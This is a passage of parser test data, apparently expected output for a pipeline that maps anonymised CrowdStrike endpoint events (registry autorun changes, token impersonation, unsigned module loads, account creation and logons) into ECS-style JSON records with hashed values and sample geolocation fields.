"{\"ContextThreadId\":\"908900717009000\",\"aip\":\"81.2.69.142\",\"RegObjectName\":\"\\\\85aaee17\\\\92b7\\\\79f42eec\\\\4f779032\\\\c7bac469\\\\d598026\\\\1f728162\\\\00d\",\"RegOperationType\":\"1\",\"RegKeyName\":\"\",\"event_platform\":\"Win\",\"TargetCommandLineParameters\":\"8 829462947afcd60b102 5385ab5330ba103afe7\",\"PatternId\":\"730\",\"RegConfigValueType\":\"0\",\"RegConfigFlags\":\"0\",\"EventOrigin\":\"1\",\"id\":\"6a3e0c317c79a163daff6f7ff43b0f8b638f\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7\",\"RegConfigClass\":\"40\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"SuspiciousRegAsepUpdate\",\"ContextTimeStamp\":\"1750976386.666\",\"ConfigStateHash\":\"9968901000\",\"ContextProcessId\":\"6460070801000\",\"RegType\":\"1\",\"RegConfigIndex\":\"1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17\",\"CommandLine\":\"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe\",\"TargetSHA256HashData\":\"61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\8027a4f5\\\\c7bac469\\\\0f82\\\\e7ad522e\\\\434d12.exe\",\"Entitlements\":\"16\",\"name\":\"d6768a557290bddc8f464a531\",\"aid\":\"f7e49d5e0a65ac9907089989782717df\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\8027a4f5\\\\c7bac469\\\\0f82\\\\e7ad522e\\\\434d12.exe\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "file": { + "directory": "\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e", + "extension": "exe", + "name": "434d12.exe", + "path": "\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe", + "type": "file" + }, + "host": { + "id": "f7e49d5e0a65ac9907089989782717df", + "os": { + "type": "windows" + } + }, + "message": "SuspiciousRegAsepUpdate", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "f7e49d5e0a65ac9907089989782717df", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "args": [ + "5f20a496dc8", + "abc7e", + "14a2e558d6bf189c90709e05527870fad3d5d824c560", + "2562f5cbf8a8bf3b250bd51a8fe" + ], + "args_count": 4, + "command_line": "5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe", + "entity_id": "6460070801000", + "executable": "\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe", + "name": "434d12.exe", + "thread": { + "id": 908900717009000 + } + }, + "registry": { + "data": { + "strings": [ + "5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7" + ], + "type": "REG_SZ" + }, + "key": "\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d", + "path": "\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d\\2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17", + "value": "2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17" + }, + "related": { + "hash": [ + "9968901000" + ], + "ip": [ + "81.2.69.142" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "3440491101", + "ContextProcessId": "2000535704803", + "EffectiveTransmissionClass": "3", + "Entitlements": "56", + "EventOrigin": "1", + "ImpersonatedUserName": "9bf10282", + "OriginalParentAuthenticationId": "891487", + "OriginalUserName": "3d0d64ac1d9faf", + "OriginalUserSid": "S-33232-15769-33973-56426-34173-11558-64704-78944", + "ParentAuthenticationId": "221030", + "PatternId": "830", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "d1330c5a8472345299901dcafcb6e741c04f", + "name": "4b8f55f326fbe33b3cf" + }, + "device": { + "id": "8ac4bf42d697d6476a2087a305f0a8a7" + }, + "event": { + "action": "TokenImpersonated", + "category": [ + "process", + "authentication" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "d1330c5a8472345299901dcafcb6e741c04f|8ac4bf42d697d6476a2087a305f0a8a7|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ImpersonatedUserName\":\"9bf10282\",\"event_simpleName\":\"TokenImpersonated\",\"OriginalParentAuthenticationId\":\"891487\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"2000535704803\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ParentAuthenticationId\":\"221030\",\"PatternId\":\"830\",\"OriginalUserName\":\"3d0d64ac1d9faf\",\"Entitlements\":\"56\",\"name\":\"4b8f55f326fbe33b3cf\",\"EventOrigin\":\"1\",\"id\":\"d1330c5a8472345299901dcafcb6e741c04f\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8ac4bf42d697d6476a2087a305f0a8a7\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"OriginalUserSid\":\"S-33232-15769-33973-56426-34173-11558-64704-78944\"}", + "outcome": "success", + "type": [ + "info", + "change" + ] + }, + "host": { + "id": "8ac4bf42d697d6476a2087a305f0a8a7", + "os": { + "type": "windows" + } + }, + "message": "TokenImpersonated", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "8ac4bf42d697d6476a2087a305f0a8a7", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "2000535704803" + }, + "related": { + "hash": [ + "3440491101" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "3d0d64ac1d9faf", + "9bf10282", + "S-33232-15769-33973-56426-34173-11558-64704-78944" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-33232-15769-33973-56426-34173-11558-64704-78944", + "name": "3d0d64ac1d9faf", + "target": { + "name": "9bf10282" + } + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "1003503072", + "ContextProcessId": "9000960041280", + "ContextTimeStamp": "2025-09-11T16:50:47.289Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "26", + "EventOrigin": "1", + "ExtendedKeyUsages": "0", + "ImageFileName": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a849da.dll", + "MappedFromUserMode": "1", + "ModuleCharacteristics": "7600", + "PublicKeys": "0", + "SignatureErrorState": "36", + "SignatureState": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "fbdd0412d2d062a8e7f05ca768974728fd13", + "name": "7218b6fd46f62d142cab" + }, + "device": { + "id": "748b16033ae2f04b415a38442969be05" + }, + "dll": { + "hash": { + "sha256": "d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1" + }, + "name": "a849da.dll" + }, + "event": { + "action": "UnsignedModuleLoad", + "category": [ + "library" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "fbdd0412d2d062a8e7f05ca768974728fd13|748b16033ae2f04b415a38442969be05|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"SignatureErrorState\":\"36\",\"ModuleCharacteristics\":\"7600\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.112\",\"PublicKeys\":\"0\",\"event_platform\":\"Win\",\"SignatureState\":\"0\",\"MappedFromUserMode\":\"1\",\"EventOrigin\":\"1\",\"id\":\"fbdd0412d2d062a8e7f05ca768974728fd13\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UnsignedModuleLoad\",\"ContextTimeStamp\":\"1757609447.289\",\"ConfigStateHash\":\"1003503072\",\"ContextProcessId\":\"9000960041280\",\"SHA256HashData\":\"d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1\",\"ExtendedKeyUsages\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"4000960041280\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a849da.dll\",\"Entitlements\":\"26\",\"name\":\"7218b6fd46f62d142cab\",\"aid\":\"748b16033ae2f04b415a38442969be05\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "748b16033ae2f04b415a38442969be05", + "os": { + "type": "windows" + } + }, + "message": "UnsignedModuleLoad", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "748b16033ae2f04b415a38442969be05", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "4000960041280", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1", + "1003503072" + ], + "ip": [ + "89.160.20.112" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "710307050", + "ContextTimeStamp": "2025-09-22T13:04:44.942Z", + "DomainSid": "S-76712-65017-53475-35458-99339-49376", + "EffectiveTransmissionClass": "3", + "Entitlements": "46", + "EventOrigin": "1", + "GroupRid": "53034222", + "InterfaceGuid": "16517693cc50d618b7a2250bd5ecb896739b", + "InterfaceVersion": "30255", + "RpcClientProcessId": "4040097800001", + "RpcClientThreadId": "274278017040400", + "RpcNestingLevel": "0", + "RpcOpNum": "30", + "UserRid": "04f8c66f", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "4c0cf1755eaa94d6f52251e3d52f5ff6902f", + "name": "6f757290de34b1b1afde18238" + }, + "device": { + "id": "822724472847066e07121bc67f0675c0" + }, + "event": { + "action": "UserAccountAddedToGroup", + "category": [ + "configuration", + "iam" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "4c0cf1755eaa94d6f52251e3d52f5ff6902f|822724472847066e07121bc67f0675c0|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"UserAccountAddedToGroup\",\"ContextTimeStamp\":\"1758546284.942\",\"ConfigStateHash\":\"710307050\",\"InterfaceVersion\":\"30255\",\"GroupRid\":\"53034222\",\"aip\":\"81.2.69.192\",\"RpcClientThreadId\":\"274278017040400\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"UserRid\":\"04f8c66f\",\"event_platform\":\"Win\",\"DomainSid\":\"S-76712-65017-53475-35458-99339-49376\",\"RpcOpNum\":\"30\",\"Entitlements\":\"46\",\"name\":\"6f757290de34b1b1afde18238\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"16517693cc50d618b7a2250bd5ecb896739b\",\"RpcClientProcessId\":\"4040097800001\",\"id\":\"4c0cf1755eaa94d6f52251e3d52f5ff6902f\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"822724472847066e07121bc67f0675c0\",\"RpcNestingLevel\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change", + "group" + ] + }, + "host": { + "id": "822724472847066e07121bc67f0675c0", + "os": { + "type": "windows" + } + }, + "message": "UserAccountAddedToGroup", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "822724472847066e07121bc67f0675c0", + "version": "2c8b.4.ae3729d.e6" + }, + "related": { + "hash": [ + "710307050" + ], + "ip": [ + "81.2.69.192" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "2015000411", + "ContextTimeStamp": "2025-10-21T07:53:06.899Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "86", + "EventOrigin": "1", + "InterfaceGuid": "16517693cc50d618b7a2250bd5ecb896739b", + "InterfaceVersion": "50255", + "RpcNestingLevel": "1", + "RpcOpNum": "70", + "UserRid": "90dd1c44", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "bd490a761a3f397c1a778b589441993b3091", + "name": "92d863b43efb433535db" + }, + "device": { + "id": "ea33b281ab769f0d09855298c2b43f40" + }, + "event": { + "action": "UserAccountCreated", + "category": [ + "configuration", + "iam" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "bd490a761a3f397c1a778b589441993b3091|ea33b281ab769f0d09855298c2b43f40|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"UserAccountCreated\",\"ContextTimeStamp\":\"1761033186.899\",\"UserName\":\"dcf80328\",\"ConfigStateHash\":\"2015000411\",\"InterfaceVersion\":\"50255\",\"aip\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"UserRid\":\"90dd1c44\",\"event_platform\":\"Win\",\"RpcOpNum\":\"70\",\"Entitlements\":\"86\",\"name\":\"92d863b43efb433535db\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"16517693cc50d618b7a2250bd5ecb896739b\",\"id\":\"bd490a761a3f397c1a778b589441993b3091\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ea33b281ab769f0d09855298c2b43f40\",\"RpcNestingLevel\":\"1\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "host": { + "id": "ea33b281ab769f0d09855298c2b43f40", + "os": { + "type": "windows" + } + }, + "message": "UserAccountCreated", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "ea33b281ab769f0d09855298c2b43f40", + "version": "2c8b.4.bab7095.e6" + }, + "related": { + "hash": [ + "2015000411" + ], + "ip": [ + "89.160.20.112" + ], + "user": [ + "dcf80328" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "dcf80328" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "2080025170", + "ContextTimeStamp": "2025-05-02T01:01:24.771Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "76", + "EventOrigin": "1", + "InterfaceGuid": "16517693cc50d618b7a2250bd5ecb896739b", + "InterfaceVersion": "60255", + "RpcClientProcessId": "7301001105000", + "RpcClientThreadId": "127103017599004", + "RpcNestingLevel": "0", + "RpcOpNum": "90", + "UserRid": "77bd1eaf", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "3229287b6fe92ef5336c913502cf9ef8fdf3", + "name": "0b8f5280c9729fa19531" + }, + "device": { + "id": "bae5bafaeb93295d398bf55b8ba1cf01" + }, + "event": { + "action": "UserAccountDeleted", + "category": [ + "configuration", + "iam" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "3229287b6fe92ef5336c913502cf9ef8fdf3|bae5bafaeb93295d398bf55b8ba1cf01|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"UserAccountDeleted\",\"ContextTimeStamp\":\"1746147684.771\",\"UserName\":\"6621349aab8086fca29\",\"ConfigStateHash\":\"2080025170\",\"InterfaceVersion\":\"60255\",\"aip\":\"89.160.20.128\",\"RpcClientThreadId\":\"127103017599004\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"UserRid\":\"77bd1eaf\",\"event_platform\":\"Win\",\"RpcOpNum\":\"90\",\"Entitlements\":\"76\",\"name\":\"0b8f5280c9729fa19531\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"16517693cc50d618b7a2250bd5ecb896739b\",\"RpcClientProcessId\":\"7301001105000\",\"id\":\"3229287b6fe92ef5336c913502cf9ef8fdf3\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"RpcNestingLevel\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "deletion" + ] + }, + "host": { + "id": "bae5bafaeb93295d398bf55b8ba1cf01", + "os": { + "type": "windows" + } + }, + "message": "UserAccountDeleted", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01", + "version": "2c8b.4.bab7095.e6" + }, + "related": { + "hash": [ + "2080025170" + ], + "ip": [ + "89.160.20.128" + ], + "user": [ + "6621349aab8086fca29" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "6621349aab8086fca29" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "BoundingLimitCount": 2, + "BoundingLimitDuration": "9486640", + "ConfigStateHash": "3440491101", + "ContextProcessId": "1635100019002", + "ContextTimeStamp": "2025-06-15T20:35:09.552Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "ExceptionAddress": "1700460906", + "ExceptionCode": "5205000410", + "ExceptionInformation0": "8", + "FullExceptionRecord": "5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "5829a31e854865b7f675feb7d878b239adc2", + "name": "709aee1e8c3c110bf8" + }, + "device": { + "id": "c98cd5436ddf270308dd9d267fd914a0" + }, + "event": { + "action": "UserExceptionDEP", + "category": [ + "process", + "malware" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "5829a31e854865b7f675feb7d878b239adc2|c98cd5436ddf270308dd9d267fd914a0|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"event_simpleName\":\"UserExceptionDEP\",\"ContextTimeStamp\":\"1750019709.552\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"1635100019002\",\"FullExceptionRecord\":\"5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263\",\"FullContext\":\"\",\"ContextThreadId\":\"34508563003090\",\"aip\":\"216.160.83.56\",\"BoundingLimitCount\":\"2\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ExceptionAddress\":\"1700460906\",\"BoundingLimitDuration\":\"9486640\",\"Entitlements\":\"66\",\"name\":\"709aee1e8c3c110bf8\",\"ExceptionInformation0\":\"8\",\"EventOrigin\":\"1\",\"id\":\"5829a31e854865b7f675feb7d878b239adc2\",\"ExceptionCode\":\"5205000410\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c98cd5436ddf270308dd9d267fd914a0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "host": { + "id": "c98cd5436ddf270308dd9d267fd914a0", + "os": { + "type": "windows" + } + }, + "message": "UserExceptionDEP", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "c98cd5436ddf270308dd9d267fd914a0", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "1635100019002", + "thread": { + "id": 34508563003090 + } + }, + "related": { + "hash": [ + "3440491101" + ], + "ip": [ + "216.160.83.56" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "BoundingLimitCount": 3, + "BoundingLimitDuration": "9486640", + "ConfigStateHash": "6080600092", + "ContextProcessId": "8108160208087", + "ContextTimeStamp": "2025-07-21T22:33:37.791Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "FontBuffer": "0", + "FontBufferLength": "0", + "FontFileCount": 1, + "FontFileName": "\\e2\\82\\6b0cc\\15dad1a2\\0f51ad6\\8c31e\\c7bac469\\a39f4a16\\4\\6ad6049f\\51833\\fce70f15.ttf", + "FontLoadOperation": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "3b3a10fec73cc70efcba7d10700c60647a00", + "name": "be33367389afc8" + }, + "device": { + "id": "30fcb474d1c19854928cfea68625715f" + }, + "event": { + "action": "UserFontLoad", + "category": [ + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "3b3a10fec73cc70efcba7d10700c60647a00|30fcb474d1c19854928cfea68625715f|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"UserFontLoad\",\"ContextTimeStamp\":\"1753137217.791\",\"ConfigStateHash\":\"6080600092\",\"ContextProcessId\":\"8108160208087\",\"ContextThreadId\":\"680008007040906\",\"aip\":\"89.160.20.112\",\"BoundingLimitCount\":\"3\",\"FontBufferLength\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"FontFileCount\":\"1\",\"BoundingLimitDuration\":\"9486640\",\"Entitlements\":\"66\",\"name\":\"be33367389afc8\",\"FontLoadOperation\":\"0\",\"EventOrigin\":\"1\",\"FontBuffer\":\"0\",\"id\":\"3b3a10fec73cc70efcba7d10700c60647a00\",\"FontFileName\":\"\\\\e2\\\\82\\\\6b0cc\\\\15dad1a2\\\\0f51ad6\\\\8c31e\\\\c7bac469\\\\a39f4a16\\\\4\\\\6ad6049f\\\\51833\\\\fce70f15.ttf\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"30fcb474d1c19854928cfea68625715f\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "30fcb474d1c19854928cfea68625715f", + "os": { + "type": "windows" + } + }, + "message": "UserFontLoad", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "30fcb474d1c19854928cfea68625715f", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "8108160208087", + "thread": { + "id": 680008007040906 + } + }, + "related": { + "hash": [ + "6080600092" + ], + "ip": [ + "89.160.20.112" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "5270089006", + "AuthenticationPackage": "43c19a09", + "ConfigStateHash": "3440491101", + "ContextProcessId": "6990300009751", + "EffectiveTransmissionClass": "2", + "Entitlements": "66", + "EventOrigin": "1", + "LogonId": "6270089006", + "LogonTime": "2025-04-29T21:57:39.717Z", + "LogonType": "3", + "RemoteAccount": "0", + "ResendToCloud": "0", + "SessionId": "0", + "UserFlags": "0", + "UserLogonFlags": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "ffafe1a8278f88b8c976d452dc465830bd1c", + "name": "6843b5d61bb2e5" + }, + "device": { + "id": "443de0bbc349316f0d394439c57beaba" + }, + "event": { + "action": "UserIdentity", + "category": [ + "authentication", + "iam" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "ffafe1a8278f88b8c976d452dc465830bd1c|443de0bbc349316f0d394439c57beaba|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"UserIsAdmin\":\"0\",\"LogonTime\":\"1745963859.717\",\"UserCanonical\":\"\",\"ContextThreadId\":\"95004910750900\",\"aip\":\"81.2.69.192\",\"LogonDomain\":\"6e\",\"RemoteAccount\":\"0\",\"UserSid\":\"S-63628-61824-76998-75961-49681-10653-90491\",\"event_platform\":\"Win\",\"UserFlags\":\"0\",\"EventOrigin\":\"1\",\"LogonServer\":\"\",\"id\":\"ffafe1a8278f88b8c976d452dc465830bd1c\",\"EffectiveTransmissionClass\":\"2\",\"LogonId\":\"6270089006\",\"SessionId\":\"0\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UserIdentity\",\"UserName\":\"395963bcc1c482b8ac\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"6990300009751\",\"ResendToCloud\":\"0\",\"LogonType\":\"3\",\"AuthenticationPackage\":\"43c19a09\",\"UserPrincipal\":\"\",\"AuthenticationId\":\"5270089006\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PasswordLastSet\":\"\",\"Entitlements\":\"66\",\"name\":\"6843b5d61bb2e5\",\"UserLogonFlags\":\"0\",\"aid\":\"443de0bbc349316f0d394439c57beaba\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "info", + "user" + ] + }, + "host": { + "domain": "6e", + "id": "443de0bbc349316f0d394439c57beaba", + "os": { + "type": "windows" + } + }, + "message": "UserIdentity", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "443de0bbc349316f0d394439c57beaba", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "6990300009751", + "thread": { + "id": 95004910750900 + } + }, + "related": { + "hash": [ + "3440491101" + ], + "ip": [ + "81.2.69.192" + ], + "user": [ + "395963bcc1c482b8ac", + "S-63628-61824-76998-75961-49681-10653-90491" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-63628-61824-76998-75961-49681-10653-90491", + "name": "395963bcc1c482b8ac" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "9134169010", + "AuthenticationPackage": "80af", + "ConfigStateHash": "3440491101", + "EffectiveTransmissionClass": "2", + "Entitlements": "66", + "EventOrigin": "1", + "LogoffTime": "2025-04-29T07:52:34.660Z", + "LogonServer": "742a2b40", + "LogonTime": "2025-04-30T05:05:29.811Z", + "LogonType": "4", + "PasswordLastSet": "1677255764.322", + "RemoteAccount": "0", + "UserFlags": "230", + "UserLogoffType": "3", + "UserLogonFlags": "6", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "d42b0220749ccf3c12046d08207cd42e3e36", + "name": "035509012de2" + }, + "device": { + "id": "e4b4d652bb68d0b6eaf25c3a357bd566" + }, + "event": { + "action": "UserLogoff", + "category": [ + "authentication" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "d42b0220749ccf3c12046d08207cd42e3e36|e4b4d652bb68d0b6eaf25c3a357bd566|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": 